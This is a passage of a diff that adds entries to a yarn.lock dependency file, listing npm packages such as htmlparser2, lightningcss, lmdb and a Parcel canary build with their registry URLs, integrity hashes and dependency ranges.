+  resolved "https://registry.yarnpkg.com/htmlparser2/-/htmlparser2-9.1.0.tgz#cdb498d8a75a51f739b61d3f718136c369bc8c23"
+  integrity sha512-5zfg6mHUoaer/97TxnGpxmbR7zJtPwIYFMZ/H5ucTlPZhKvtum05yiPK3Mgai3a0DyVxv7qYqoweaEd2nrYQzQ==
+  dependencies:
+    domelementtype "^2.3.0"
+    domhandler "^5.0.3"
+    domutils "^3.1.0"
+    entities "^4.5.0"
+
+http-errors@2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/http-errors/-/http-errors-2.0.0.tgz#b7774a1486ef73cf7667ac9ae0858c012c57b9d3"
+  integrity sha512-FtwrG/euBzaEjYeRqOgly7G0qviiXoJWnvEH2Z1plBdXgbyjv34pHTSb9zoeHMyDy33+DWy5Wt9Wo+TURtOYSQ==
+  dependencies:
+    depd "2.0.0"
+    inherits "2.0.4"
+    setprototypeof "1.2.0"
+    statuses "2.0.1"
+    toidentifier "1.0.1"
+
+iconv-lite@0.4.24:
+  version "0.4.24"
+  resolved "https://registry.yarnpkg.com/iconv-lite/-/iconv-lite-0.4.24.tgz#2022b4b25fbddc21d2f524974a474aafe733908b"
+  integrity sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==
+  dependencies:
+    safer-buffer ">= 2.1.2 < 3"
+
+import-fresh@^3.3.0:
+  version "3.3.0"
+  resolved "https://registry.yarnpkg.com/import-fresh/-/import-fresh-3.3.0.tgz#37162c25fcb9ebaa2e6e53d5b4d88ce17d9e0c2b"
+  integrity sha512-veYYhQa+D1QBKznvhUHxb8faxlrwUnxseDAbAp457E0wLNio2bOSKnjYDhMj+YiAq61xrMGhQk9iXVk5FzgQMw==
+  dependencies:
+    parent-module "^1.0.0"
+    resolve-from "^4.0.0"
+
+inherits@2.0.4:
+  version "2.0.4"
+  resolved "https://registry.yarnpkg.com/inherits/-/inherits-2.0.4.tgz#0fa2c64f932917c3433a0ded55363aae37416b7c"
+  integrity sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==
+
+ipaddr.js@1.9.1:
+  version "1.9.1"
+  resolved "https://registry.yarnpkg.com/ipaddr.js/-/ipaddr.js-1.9.1.tgz#bff38543eeb8984825079ff3a2a8e6cbd46781b3"
+  integrity sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==
+
+is-arrayish@^0.2.1:
+  version "0.2.1"
+  resolved "https://registry.yarnpkg.com/is-arrayish/-/is-arrayish-0.2.1.tgz#77c99840527aa8ecb1a8ba697b80645a7a926a9d"
+  integrity sha512-zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg==
+
+is-extglob@^2.1.1:
+  version "2.1.1"
+  resolved "https://registry.yarnpkg.com/is-extglob/-/is-extglob-2.1.1.tgz#a88c02535791f02ed37c76a1b9ea9773c833f8c2"
+  integrity sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==
+
+is-fullwidth-code-point@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz#f116f8064fe90b3f7844a38997c0b75051269f1d"
+  integrity sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==
+
+is-glob@^4.0.3:
+  version "4.0.3"
+  resolved "https://registry.yarnpkg.com/is-glob/-/is-glob-4.0.3.tgz#64f61e42cbbb2eec2071a9dac0b28ba1e65d5084"
+  integrity sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==
+  dependencies:
+    is-extglob "^2.1.1"
+
+is-json@^2.0.1:
+  version "2.0.1"
+  resolved "https://registry.yarnpkg.com/is-json/-/is-json-2.0.1.tgz#6be166d144828a131d686891b983df62c39491ff"
+  integrity sha512-6BEnpVn1rcf3ngfmViLM6vjUjGErbdrL4rwlv+u1NO1XO8kqT4YGL8+19Q+Z/bas8tY90BTWMk2+fW1g6hQjbA==
+
+is-number@^7.0.0:
+  version "7.0.0"
+  resolved "https://registry.yarnpkg.com/is-number/-/is-number-7.0.0.tgz#7535345b896734d5f80c4d06c50955527a14f12b"
+  integrity sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==
+
+js-tokens@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.yarnpkg.com/js-tokens/-/js-tokens-4.0.0.tgz#19203fb59991df98e3a287050d4647cdeaf32499"
+  integrity sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==
+
+js-yaml@^4.1.0:
+  version "4.1.0"
+  resolved "https://registry.yarnpkg.com/js-yaml/-/js-yaml-4.1.0.tgz#c1fb65f8f5017901cdd2c951864ba18458a10602"
+  integrity sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA==
+  dependencies:
+    argparse "^2.0.1"
+
+json-parse-even-better-errors@^2.3.0:
+  version "2.3.1"
+  resolved "https://registry.yarnpkg.com/json-parse-even-better-errors/-/json-parse-even-better-errors-2.3.1.tgz#7c47805a94319928e05777405dc12e1f7a4ee02d"
+  integrity sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w==
+
+json5@^2.2.0, json5@^2.2.1:
+  version "2.2.3"
+  resolved "https://registry.yarnpkg.com/json5/-/json5-2.2.3.tgz#78cd6f1a19bdc12b73db5ad0c61efd66c1e29283"
+  integrity sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==
+
+lightningcss-darwin-arm64@1.28.2:
+  version "1.28.2"
+  resolved "https://registry.yarnpkg.com/lightningcss-darwin-arm64/-/lightningcss-darwin-arm64-1.28.2.tgz#a906fd84cb43d753cb5db9c367f8f38482e8fb03"
+  integrity sha512-/8cPSqZiusHSS+WQz0W4NuaqFjquys1x+NsdN/XOHb+idGHJSoJ7SoQTVl3DZuAgtPZwFZgRfb/vd1oi8uX6+g==
+
+lightningcss-darwin-x64@1.28.2:
+  version "1.28.2"
+  resolved "https://registry.yarnpkg.com/lightningcss-darwin-x64/-/lightningcss-darwin-x64-1.28.2.tgz#6c43249d4ae821416d0d78403eae56111d0c6a94"
+  integrity sha512-R7sFrXlgKjvoEG8umpVt/yutjxOL0z8KWf0bfPT3cYMOW4470xu5qSHpFdIOpRWwl3FKNMUdbKtMUjYt0h2j4g==
+
+lightningcss-freebsd-x64@1.28.2:
+  version "1.28.2"
+  resolved "https://registry.yarnpkg.com/lightningcss-freebsd-x64/-/lightningcss-freebsd-x64-1.28.2.tgz#804bc6652c6721e94a92e7bbb5e65165376cf108"
+  integrity sha512-l2qrCT+x7crAY+lMIxtgvV10R8VurzHAoUZJaVFSlHrN8kRLTvEg9ObojIDIexqWJQvJcVVV3vfzsEynpiuvgA==
+
+lightningcss-linux-arm-gnueabihf@1.28.2:
+  version "1.28.2"
+  resolved "https://registry.yarnpkg.com/lightningcss-linux-arm-gnueabihf/-/lightningcss-linux-arm-gnueabihf-1.28.2.tgz#c32595127b565690d854c9ff641831e4ad739ee1"
+  integrity sha512-DKMzpICBEKnL53X14rF7hFDu8KKALUJtcKdFUCW5YOlGSiwRSgVoRjM97wUm/E0NMPkzrTi/rxfvt7ruNK8meg==
+
+lightningcss-linux-arm64-gnu@1.28.2:
+  version "1.28.2"
+  resolved "https://registry.yarnpkg.com/lightningcss-linux-arm64-gnu/-/lightningcss-linux-arm64-gnu-1.28.2.tgz#85646f08c5efbfd7c94f8e5ed6392d5cf95fa42c"
+  integrity sha512-nhfjYkfymWZSxdtTNMWyhFk2ImUm0X7NAgJWFwnsYPOfmtWQEapzG/DXZTfEfMjSzERNUNJoQjPAbdqgB+sjiw==
+
+lightningcss-linux-arm64-musl@1.28.2:
+  version "1.28.2"
+  resolved "https://registry.yarnpkg.com/lightningcss-linux-arm64-musl/-/lightningcss-linux-arm64-musl-1.28.2.tgz#4d9bc20cf6de28c4d0c586d81c577891555ad831"
+  integrity sha512-1SPG1ZTNnphWvAv8RVOymlZ8BDtAg69Hbo7n4QxARvkFVCJAt0cgjAw1Fox0WEhf4PwnyoOBaVH0Z5YNgzt4dA==
+
+lightningcss-linux-x64-gnu@1.28.2:
+  version "1.28.2"
+  resolved "https://registry.yarnpkg.com/lightningcss-linux-x64-gnu/-/lightningcss-linux-x64-gnu-1.28.2.tgz#74bd797d7157817c4e42ec45f1844a69636a9d82"
+  integrity sha512-ZhQy0FcO//INWUdo/iEdbefntTdpPVQ0XJwwtdbBuMQe+uxqZoytm9M+iqR9O5noWFaxK+nbS2iR/I80Q2Ofpg==
+
+lightningcss-linux-x64-musl@1.28.2:
+  version "1.28.2"
+  resolved "https://registry.yarnpkg.com/lightningcss-linux-x64-musl/-/lightningcss-linux-x64-musl-1.28.2.tgz#13ce6db4c491ebbb93099d6427746ab7bff3774f"
+  integrity sha512-alb/j1NMrgQmSFyzTbN1/pvMPM+gdDw7YBuQ5VSgcFDypN3Ah0BzC2dTZbzwzaMdUVDszX6zH5MzjfVN1oGuww==
+
+lightningcss-win32-arm64-msvc@1.28.2:
+  version "1.28.2"
+  resolved "https://registry.yarnpkg.com/lightningcss-win32-arm64-msvc/-/lightningcss-win32-arm64-msvc-1.28.2.tgz#eaae12c4a58a545a3adf40b22ba9625e5c0ebd29"
+  integrity sha512-WnwcjcBeAt0jGdjlgbT9ANf30pF0C/QMb1XnLnH272DQU8QXh+kmpi24R55wmWBwaTtNAETZ+m35ohyeMiNt+g==
+
+lightningcss-win32-x64-msvc@1.28.2:
+  version "1.28.2"
+  resolved "https://registry.yarnpkg.com/lightningcss-win32-x64-msvc/-/lightningcss-win32-x64-msvc-1.28.2.tgz#1f7c4474b2dc3dd1c12e22de32e4de23bdfa41e7"
+  integrity sha512-3piBifyT3avz22o6mDKywQC/OisH2yDK+caHWkiMsF82i3m5wDBadyCjlCQ5VNgzYkxrWZgiaxHDdd5uxsi0/A==
+
+lightningcss@^1.22.1:
+  version "1.28.2"
+  resolved "https://registry.yarnpkg.com/lightningcss/-/lightningcss-1.28.2.tgz#cc26fad9ad64a621bd39ac6248095891cf584cce"
+  integrity sha512-ePLRrbt3fgjXI5VFZOLbvkLD5ZRuxGKm+wJ3ujCqBtL3NanDHPo/5zicR5uEKAPiIjBYF99BM4K4okvMznjkVA==
+  dependencies:
+    detect-libc "^1.0.3"
+  optionalDependencies:
+    lightningcss-darwin-arm64 "1.28.2"
+    lightningcss-darwin-x64 "1.28.2"
+    lightningcss-freebsd-x64 "1.28.2"
+    lightningcss-linux-arm-gnueabihf "1.28.2"
+    lightningcss-linux-arm64-gnu "1.28.2"
+    lightningcss-linux-arm64-musl "1.28.2"
+    lightningcss-linux-x64-gnu "1.28.2"
+    lightningcss-linux-x64-musl "1.28.2"
+    lightningcss-win32-arm64-msvc "1.28.2"
+    lightningcss-win32-x64-msvc "1.28.2"
+
+lines-and-columns@^1.1.6:
+  version "1.2.4"
+  resolved "https://registry.yarnpkg.com/lines-and-columns/-/lines-and-columns-1.2.4.tgz#eca284f75d2965079309dc0ad9255abb2ebc1632"
+  integrity sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==
+
+lmdb@2.8.5:
+  version "2.8.5"
+  resolved "https://registry.yarnpkg.com/lmdb/-/lmdb-2.8.5.tgz#ce191110c755c0951caa062722e300c703973837"
+  integrity sha512-9bMdFfc80S+vSldBmG3HOuLVHnxRdNTlpzR6QDnzqCQtCzGUEAGTzBKYMeIM+I/sU4oZfgbcbS7X7F65/z/oxQ==
+  dependencies:
+    msgpackr "^1.9.5"
+    node-addon-api "^6.1.0"
+    node-gyp-build-optional-packages "5.1.1"
+    ordered-binary "^1.4.1"
+    weak-lru-cache "^1.2.2"
+  optionalDependencies:
+    "@lmdb/lmdb-darwin-arm64" "2.8.5"
+    "@lmdb/lmdb-darwin-x64" "2.8.5"
+    "@lmdb/lmdb-linux-arm" "2.8.5"
+    "@lmdb/lmdb-linux-arm64" "2.8.5"
+    "@lmdb/lmdb-linux-x64" "2.8.5"
+    "@lmdb/lmdb-win32-x64" "2.8.5"
+
+lodash@^4.17.21:
+  version "4.17.21"
+  resolved "https://registry.yarnpkg.com/lodash/-/lodash-4.17.21.tgz#679591c564c3bffaae8454cf0b3df370c3d6911c"
+  integrity sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==
+
+math-intrinsics@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/math-intrinsics/-/math-intrinsics-1.0.0.tgz#4e04bf87c85aa51e90d078dac2252b4eb5260817"
+  integrity sha512-4MqMiKP90ybymYvsut0CH2g4XWbfLtmlCkXmtmdcDCxNB+mQcu1w/1+L/VD7vi/PSv7X2JYV7SCcR+jiPXnQtA==
+
+media-typer@0.3.0:
+  version "0.3.0"
+  resolved "https://registry.yarnpkg.com/media-typer/-/media-typer-0.3.0.tgz#8710d7af0aa626f8fffa1ce00168545263255748"
+  integrity sha512-dq+qelQ9akHpcOl/gUVRTxVIOkAJ1wR3QAvb4RsVjS8oVoFjDGTc679wJYmUmknUF5HwMLOgb5O+a3KxfWapPQ==
+
+merge-descriptors@1.0.3:
+  version "1.0.3"
+  resolved "https://registry.yarnpkg.com/merge-descriptors/-/merge-descriptors-1.0.3.tgz#d80319a65f3c7935351e5cfdac8f9318504dbed5"
+  integrity sha512-gaNvAS7TZ897/rVaZ0nMtAyxNyi/pdbjbAwUpFQpN70GqnVfOiXpeUUMKRBmzXaSQ8DdTX4/0ms62r2K+hE6mQ==
+
+methods@~1.1.2:
+  version "1.1.2"
+  resolved "https://registry.yarnpkg.com/methods/-/methods-1.1.2.tgz#5529a4d67654134edcc5266656835b0f851afcee"
+  integrity sha512-iclAHeNqNm68zFtnZ0e+1L2yUIdvzNoauKU4WBA3VvH/vPFieF7qfRlwUZU+DA9P9bPXIS90ulxoUoCH23sV2w==
+
+micromatch@^4.0.5:
+  version "4.0.8"
+  resolved "https://registry.yarnpkg.com/micromatch/-/micromatch-4.0.8.tgz#d66fa18f3a47076789320b9b1af32bd86d9fa202"
+  integrity sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==
+  dependencies:
+    braces "^3.0.3"
+    picomatch "^2.3.1"
+
+mime-db@1.52.0:
+  version "1.52.0"
+  resolved "https://registry.yarnpkg.com/mime-db/-/mime-db-1.52.0.tgz#bbabcdc02859f4987301c856e3387ce5ec43bf70"
+  integrity sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==
+
+mime-types@~2.1.24, mime-types@~2.1.34:
+  version "2.1.35"
+  resolved "https://registry.yarnpkg.com/mime-types/-/mime-types-2.1.35.tgz#381a871b62a734450660ae3deee44813f70d959a"
+  integrity sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==
+  dependencies:
+    mime-db "1.52.0"
+
+mime@1.6.0:
+  version "1.6.0"
+  resolved "https://registry.yarnpkg.com/mime/-/mime-1.6.0.tgz#32cd9e5c64553bd58d19a568af452acff04981b1"
+  integrity sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==
+
+ms@2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/ms/-/ms-2.0.0.tgz#5608aeadfc00be6c2901df5f9861788de0d597c8"
+  integrity sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==
+
+ms@2.1.3:
+  version "2.1.3"
+  resolved "https://registry.yarnpkg.com/ms/-/ms-2.1.3.tgz#574c8138ce1d2b5861f0b44579dbadd60c6615b2"
+  integrity sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==
+
+msgpackr-extract@^3.0.2:
+  version "3.0.3"
+  resolved "https://registry.yarnpkg.com/msgpackr-extract/-/msgpackr-extract-3.0.3.tgz#e9d87023de39ce714872f9e9504e3c1996d61012"
+  integrity sha512-P0efT1C9jIdVRefqjzOQ9Xml57zpOXnIuS+csaB4MdZbTdmGDLo8XhzBG1N7aO11gKDDkJvBLULeFTo46wwreA==
+  dependencies:
+    node-gyp-build-optional-packages "5.2.2"
+  optionalDependencies:
+    "@msgpackr-extract/msgpackr-extract-darwin-arm64" "3.0.3"
+    "@msgpackr-extract/msgpackr-extract-darwin-x64" "3.0.3"
+    "@msgpackr-extract/msgpackr-extract-linux-arm" "3.0.3"
+    "@msgpackr-extract/msgpackr-extract-linux-arm64" "3.0.3"
+    "@msgpackr-extract/msgpackr-extract-linux-x64" "3.0.3"
+    "@msgpackr-extract/msgpackr-extract-win32-x64" "3.0.3"
+
+msgpackr@^1.9.5, msgpackr@^1.9.9:
+  version "1.11.2"
+  resolved "https://registry.yarnpkg.com/msgpackr/-/msgpackr-1.11.2.tgz#4463b7f7d68f2e24865c395664973562ad24473d"
+  integrity sha512-F9UngXRlPyWCDEASDpTf6c9uNhGPTqnTeLVt7bN+bU1eajoR/8V9ys2BRaV5C/e5ihE6sJ9uPIKaYt6bFuO32g==
+  optionalDependencies:
+    msgpackr-extract "^3.0.2"
+
+negotiator@0.6.3:
+  version "0.6.3"
+  resolved "https://registry.yarnpkg.com/negotiator/-/negotiator-0.6.3.tgz#58e323a72fedc0d6f9cd4d31fe49f51479590ccd"
+  integrity sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg==
+
+node-addon-api@^6.1.0:
+  version "6.1.0"
+  resolved "https://registry.yarnpkg.com/node-addon-api/-/node-addon-api-6.1.0.tgz#ac8470034e58e67d0c6f1204a18ae6995d9c0d76"
+  integrity sha512-+eawOlIgy680F0kBzPUNFhMZGtJ1YmqM6l4+Crf4IkImjYrO/mqPwRMh352g23uIaQKFItcQ64I7KMaJxHgAVA==
+
+node-addon-api@^7.0.0:
+  version "7.1.1"
+  resolved "https://registry.yarnpkg.com/node-addon-api/-/node-addon-api-7.1.1.tgz#1aba6693b0f255258a049d621329329322aad558"
+  integrity sha512-5m3bsyrjFWE1xf7nz7YXdN4udnVtXK6/Yfgn5qnahL6bCkf2yKt4k3nuTKAtT4r3IG8JNR2ncsIMdZuAzJjHQQ==
+
+node-gyp-build-optional-packages@5.1.1:
+  version "5.1.1"
+  resolved "https://registry.yarnpkg.com/node-gyp-build-optional-packages/-/node-gyp-build-optional-packages-5.1.1.tgz#52b143b9dd77b7669073cbfe39e3f4118bfc603c"
+  integrity sha512-+P72GAjVAbTxjjwUmwjVrqrdZROD4nf8KgpBoDxqXXTiYZZt/ud60dE5yvCSr9lRO8e8yv6kgJIC0K0PfZFVQw==
+  dependencies:
+    detect-libc "^2.0.1"
+
+node-gyp-build-optional-packages@5.2.2:
+  version "5.2.2"
+  resolved "https://registry.yarnpkg.com/node-gyp-build-optional-packages/-/node-gyp-build-optional-packages-5.2.2.tgz#522f50c2d53134d7f3a76cd7255de4ab6c96a3a4"
+  integrity sha512-s+w+rBWnpTMwSFbaE0UXsRlg7hU4FjekKU4eyAih5T8nJuNZT1nNsskXpxmeqSK9UzkBl6UgRlnKc8hz8IEqOw==
+  dependencies:
+    detect-libc "^2.0.1"
+
+node-releases@^2.0.18:
+  version "2.0.19"
+  resolved "https://registry.yarnpkg.com/node-releases/-/node-releases-2.0.19.tgz#9e445a52950951ec4d177d843af370b411caf314"
+  integrity sha512-xxOWJsBKtzAq7DY0J+DTzuz58K8e7sJbdgwkbMWQe8UYB6ekmsQ45q0M/tJDsGaZmbC+l7n57UV8Hl5tHxO9uw==
+
+nullthrows@^1.1.1:
+  version "1.1.1"
+  resolved "https://registry.yarnpkg.com/nullthrows/-/nullthrows-1.1.1.tgz#7818258843856ae971eae4208ad7d7eb19a431b1"
+  integrity sha512-2vPPEi+Z7WqML2jZYddDIfy5Dqb0r2fze2zTxNNknZaFpVHU3mFB3R+DWeJWGVx0ecvttSGlJTI+WG+8Z4cDWw==
+
+object-inspect@^1.13.3:
+  version "1.13.3"
+  resolved "https://registry.yarnpkg.com/object-inspect/-/object-inspect-1.13.3.tgz#f14c183de51130243d6d18ae149375ff50ea488a"
+  integrity sha512-kDCGIbxkDSXE3euJZZXzc6to7fCrKHNI/hSRQnRuQ+BWjFNzZwiFF8fj/6o2t2G9/jTj8PSIYTfCLelLZEeRpA==
+
+on-finished@2.4.1:
+  version "2.4.1"
+  resolved "https://registry.yarnpkg.com/on-finished/-/on-finished-2.4.1.tgz#58c8c44116e54845ad57f14ab10b03533184ac3f"
+  integrity sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg==
+  dependencies:
+    ee-first "1.1.1"
+
+ordered-binary@^1.4.1:
+  version "1.5.3"
+  resolved "https://registry.yarnpkg.com/ordered-binary/-/ordered-binary-1.5.3.tgz#8bee2aa7a82c3439caeb1e80c272fd4cf51170fb"
+  integrity sha512-oGFr3T+pYdTGJ+YFEILMpS3es+GiIbs9h/XQrclBXUtd44ey7XwfsMzM31f64I1SQOawDoDr/D823kNCADI8TA==
+
+parcel@canary:
+  version "2.0.0-canary.1776"
+  resolved "https://registry.yarnpkg.com/parcel/-/parcel-2.0.0-canary.1776.tgz#c34446e8c5456211071df73e31954eaedf23b334"
+  integrity sha512-vGsAXeGT1+Ks1xRW0dHMBsg0LvmXNr1YN5GC7FSanCugymDT8qldQ5G7vHohNJbZuVmAA173Q00yrdFBsVZpmQ==
+  dependencies:
+    "@parcel/config-default" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/core" "2.0.0-canary.1776+b50bc79cb"
+    "@parcel/diagnostic" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/events" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/feature-flags" "2.13.4-canary.3401+b50bc79cb"
+    "@parcel/fs" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/logger" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/package-manager" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/reporter-cli" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/reporter-dev-server" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/reporter-tracer" "2.13.4-canary.3401+b50bc79cb"
+    "@parcel/utils" "2.0.0-canary.1778+b50bc79cb"
+    chalk "^4.1.2"
+    commander "^12.1.0"
+    get-port "^4.2.0"
+
+parent-module@^1.0.0:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/parent-module/-/parent-module-1.0.1.tgz#691d2709e78c79fae3a156622452d00762caaaa2"
+  integrity sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==
+  dependencies:
+    callsites "^3.0.0"
+
+parse-json@^5.2.0:
+  version "5.2.0"
+  resolved "https://registry.yarnpkg.com/parse-json/-/parse-json-5.2.0.tgz#c76fc66dee54231c962b22bcc8a72cf2f99753cd"
+  integrity sha512-ayCKvm/phCGxOkYRSCM82iDwct8/EonSEgCSxWxD7ve6jHggsFl4fZVQBPRNgQoKiuV/odhFrGzQXZwbifC8Rg==
+  dependencies:
+    "@babel/code-frame" "^7.0.0"
+    error-ex "^1.3.1"
+    json-parse-even-better-errors "^2.3.0"
+    lines-and-columns "^1.1.6"
+
+parseurl@~1.3.3:
+  version "1.3.3"
+  resolved "https://registry.yarnpkg.com/parseurl/-/parseurl-1.3.3.tgz#9da19e7bee8d12dff0513ed5b76957793bc2e8d4"
+  integrity sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==
+
+path-to-regexp@0.1.12:
+  version "0.1.12"
+  resolved "https://registry.yarnpkg.com/path-to-regexp/-/path-to-regexp-0.1.12.tgz#d5e1a12e478a976d432ef3c58d534b9923164bb7"
+  integrity sha512-RA1GjUVMnvYFxuqovrEqZoxxW5NUZqbwKtYz/Tt7nXerk0LbLblQmrsgdeOxV5SFHf0UDggjS/bSeOZwt1pmEQ==
+
+picocolors@^1.0.0, picocolors@^1.1.0:
+  version "1.1.1"
+  resolved "https://registry.yarnpkg.com/picocolors/-/picocolors-1.1.1.tgz#3d321af3eab939b083c8f929a1d12cda81c26b6b"
+  integrity sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==
+
+picomatch@^2.3.1:
+  version "2.3.1"
+  resolved "https://registry.yarnpkg.com/picomatch/-/picomatch-2.3.1.tgz#3ba3833733646d9d3e4995946c1365a67fb07a42"
+  integrity sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==
+
+postcss-value-parser@^4.2.0:
+  version "4.2.0"
+  resolved "https://registry.yarnpkg.com/postcss-value-parser/-/postcss-value-parser-4.2.0.tgz#723c09920836ba6d3e5af019f92bc0971c02e514"
+  integrity sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==
+
+posthtml-parser@^0.11.0:
+  version "0.11.0"
+  resolved "https://registry.yarnpkg.com/posthtml-parser/-/posthtml-parser-0.11.0.tgz#25d1c7bf811ea83559bc4c21c189a29747a24b7a"
+  integrity sha512-QecJtfLekJbWVo/dMAA+OSwY79wpRmbqS5TeXvXSX+f0c6pW4/SE6inzZ2qkU7oAMCPqIDkZDvd/bQsSFUnKyw==
+  dependencies:
+    htmlparser2 "^7.1.1"
+
+posthtml-parser@^0.12.1:
+  version "0.12.1"
+  resolved "https://registry.yarnpkg.com/posthtml-parser/-/posthtml-parser-0.12.1.tgz#f29cc2eec3e6dd0bb99ac169f49963515adbff21"
+  integrity sha512-rYFmsDLfYm+4Ts2Oh4DCDSZPtdC1BLnRXAobypVzX9alj28KGl65dIFtgDY9zB57D0TC4Qxqrawuq/2et1P0GA==
+  dependencies:
+    htmlparser2 "^9.0.0"
+
+posthtml-render@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/posthtml-render/-/posthtml-render-3.0.0.tgz#97be44931496f495b4f07b99e903cc70ad6a3205"
+  integrity sha512-z+16RoxK3fUPgwaIgH9NGnK1HKY9XIDpydky5eQGgAFVXTCSezalv9U2jQuNV+Z9qV1fDWNzldcw4eK0SSbqKA==
+  dependencies:
+    is-json "^2.0.1"
+
+posthtml@^0.16.4, posthtml@^0.16.5:
+  version "0.16.6"
+  resolved "https://registry.yarnpkg.com/posthtml/-/posthtml-0.16.6.tgz#e2fc407f67a64d2fa3567afe770409ffdadafe59"
+  integrity sha512-JcEmHlyLK/o0uGAlj65vgg+7LIms0xKXe60lcDOTU7oVX/3LuEuLwrQpW3VJ7de5TaFKiW4kWkaIpJL42FEgxQ==
+  dependencies:
+    posthtml-parser "^0.11.0"
+    posthtml-render "^3.0.0"
+
+process@^0.11.10:
+  version "0.11.10"
+  resolved "https://registry.yarnpkg.com/process/-/process-0.11.10.tgz#7332300e840161bda3e69a1d1d91a7d4bc16f182"
+  integrity sha512-cdGef/drWFoydD1JsMzuFf8100nZl+GT+yacc2bEced5f9Rjk4z+WtFUTBu9PhOi9j/jfmBPu0mMEY4wIdAF8A==
+
+proxy-addr@~2.0.7:
+  version "2.0.7"
+  resolved "https://registry.yarnpkg.com/proxy-addr/-/proxy-addr-2.0.7.tgz#f19fe69ceab311eeb94b42e70e8c2070f9ba1025"
+  integrity sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg==
+  dependencies:
